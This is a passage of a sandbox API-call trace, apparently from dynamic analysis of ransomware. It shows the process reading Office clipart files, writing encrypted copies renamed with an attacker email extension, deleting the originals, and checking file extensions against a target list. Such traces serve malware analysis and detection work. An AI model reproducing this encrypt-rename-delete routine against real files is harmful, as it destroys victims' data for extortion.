liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.598] GetLastError () returned 0x0 [0070.598] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xa8c, lpOverlapped=0x0) returned 1 [0070.688] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xa90, lpOverlapped=0x0) returned 1 [0070.689] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.689] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.689] SetEndOfFile (hFile=0x390) returned 1 [0070.693] CloseHandle (hObject=0x390) returned 1 [0070.700] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.700] SetEndOfFile (hFile=0x328) returned 1 [0070.702] CloseHandle (hObject=0x328) returned 1 [0070.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0070.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0070.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0070.702] lstrlenW (lpString=".doc") returned 4 [0070.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.702] lstrlenW (lpString=".docx") returned 5 [0070.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.703] lstrlenW (lpString=".pdf") returned 4 [0070.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.703] lstrlenW (lpString=".xls") returned 4 [0070.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.703] lstrlenW (lpString=".xlsx") returned 5 [0070.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.703] lstrlenW (lpString=".ppt") returned 4 [0070.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0070.703] lstrlenW (lpString=".zip") returned 4 [0070.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.703] lstrlenW (lpString=".rar") returned 4 [0070.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.703] lstrlenW (lpString=".bz2") returned 4 [0070.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.703] lstrlenW (lpString=".7z") returned 3 [0070.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0070.703] lstrlenW (lpString=".dbf") returned 4 [0070.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0070.703] lstrlenW (lpString=".1cd") returned 4 [0070.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0070.703] lstrlenW (lpString=".jpg") returned 4 [0070.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.727] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.727] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.739] GetLastError () returned 0x0 [0070.739] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0070.797] WriteFile (in: hFile=0x354, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0070.798] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.798] WriteFile (in: hFile=0x354, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.798] SetEndOfFile (hFile=0x354) returned 1 [0070.798] CloseHandle (hObject=0x354) returned 1 [0070.798] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.798] SetEndOfFile (hFile=0x358) returned 1 [0070.799] CloseHandle (hObject=0x358) returned 1 [0070.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0070.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0070.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0070.800] lstrlenW (lpString=".doc") returned 4 [0070.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString=".docx") returned 5 [0070.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.800] lstrlenW (lpString=".pdf") returned 4 [0070.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString=".xls") returned 4 [0070.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.800] lstrlenW (lpString=".xlsx") returned 5 [0070.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.800] lstrlenW (lpString=".ppt") returned 4 [0070.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0070.800] lstrlenW (lpString=".zip") returned 4 [0070.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.800] lstrlenW (lpString=".rar") returned 4 [0070.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString=".bz2") returned 4 [0070.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString=".7z") returned 3 [0070.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0070.800] lstrlenW (lpString=".dbf") returned 4 [0070.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0070.800] lstrlenW (lpString=".1cd") returned 4 [0070.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0070.800] lstrlenW (lpString=".jpg") returned 4 [0070.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.801] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.801] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.801] GetLastError () returned 0x0 [0070.801] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x3772, lpOverlapped=0x0) returned 1 [0070.814] WriteFile (in: hFile=0x354, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x3780, lpOverlapped=0x0) returned 1 [0070.815] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.815] WriteFile (in: hFile=0x354, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.815] SetEndOfFile (hFile=0x354) returned 1 [0070.824] CloseHandle (hObject=0x354) returned 1 [0070.828] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.828] SetEndOfFile (hFile=0x358) returned 1 [0070.831] CloseHandle (hObject=0x358) returned 1 [0070.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0070.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0070.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0070.834] lstrlenW (lpString=".doc") returned 4 [0070.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.834] lstrlenW (lpString=".docx") returned 5 [0070.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.834] lstrlenW (lpString=".pdf") returned 4 [0070.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.834] lstrlenW (lpString=".xls") returned 4 [0070.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.834] lstrlenW (lpString=".xlsx") returned 5 [0070.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.834] lstrlenW (lpString=".ppt") returned 4 [0070.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0070.835] lstrlenW (lpString=".zip") returned 4 [0070.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.835] lstrlenW (lpString=".rar") returned 4 [0070.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.835] lstrlenW (lpString=".bz2") returned 4 [0070.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.835] lstrlenW (lpString=".7z") returned 3 [0070.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0070.835] lstrlenW (lpString=".dbf") returned 4 [0070.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0070.835] lstrlenW (lpString=".1cd") returned 4 [0070.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0070.835] lstrlenW (lpString=".jpg") returned 4 [0070.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.836] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.836] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0070.837] GetLastError () returned 0x0 [0070.837] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0070.848] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0070.849] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.849] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.849] SetEndOfFile (hFile=0x318) returned 1 [0070.849] CloseHandle (hObject=0x318) returned 1 [0070.849] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.850] SetEndOfFile (hFile=0x398) returned 1 [0070.850] CloseHandle (hObject=0x398) returned 1 [0070.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0070.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0070.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0070.851] lstrlenW (lpString=".doc") returned 4 [0070.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.851] lstrlenW (lpString=".docx") returned 5 [0070.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.851] lstrlenW (lpString=".pdf") returned 4 [0070.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.851] lstrlenW (lpString=".xls") returned 4 [0070.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.851] lstrlenW (lpString=".xlsx") returned 5 [0070.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.851] lstrlenW (lpString=".ppt") returned 4 [0070.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0070.851] lstrlenW (lpString=".zip") returned 4 [0070.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.851] lstrlenW (lpString=".rar") returned 4 [0070.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.851] lstrlenW (lpString=".bz2") returned 4 [0070.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.852] lstrlenW (lpString=".7z") returned 3 [0070.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0070.852] lstrlenW (lpString=".dbf") returned 4 [0070.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0070.852] lstrlenW (lpString=".1cd") returned 4 [0070.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0070.852] lstrlenW (lpString=".jpg") returned 4 [0070.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.852] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.852] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0070.853] GetLastError () returned 0x0 [0070.853] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0070.864] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0070.865] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.865] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.865] SetEndOfFile (hFile=0x318) returned 1 [0070.865] CloseHandle (hObject=0x318) returned 1 [0070.865] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.865] SetEndOfFile (hFile=0x398) returned 1 [0070.866] CloseHandle (hObject=0x398) returned 1 [0070.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0070.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0070.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0070.866] lstrlenW (lpString=".doc") returned 4 [0070.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.866] lstrlenW (lpString=".docx") returned 5 [0070.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.866] lstrlenW (lpString=".pdf") returned 4 [0070.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.867] lstrlenW (lpString=".xls") returned 4 [0070.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.867] lstrlenW (lpString=".xlsx") returned 5 [0070.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.867] lstrlenW (lpString=".ppt") returned 4 [0070.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0070.867] lstrlenW (lpString=".zip") returned 4 [0070.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.867] lstrlenW (lpString=".rar") returned 4 [0070.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.867] lstrlenW (lpString=".bz2") returned 4 [0070.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.867] lstrlenW (lpString=".7z") returned 3 [0070.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0070.867] lstrlenW (lpString=".dbf") returned 4 [0070.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0070.867] lstrlenW (lpString=".1cd") returned 4 [0070.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0070.867] lstrlenW (lpString=".jpg") returned 4 [0070.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0070.868] GetLastError () returned 0x0 [0070.868] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2168, lpOverlapped=0x0) returned 1 [0070.887] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2170, lpOverlapped=0x0) returned 1 [0070.915] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.915] WriteFile (in: hFile=0x318, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.915] SetEndOfFile (hFile=0x318) returned 1 [0070.916] CloseHandle (hObject=0x318) returned 1 [0070.916] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.916] SetEndOfFile (hFile=0x398) returned 1 [0070.916] CloseHandle (hObject=0x398) returned 1 [0070.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 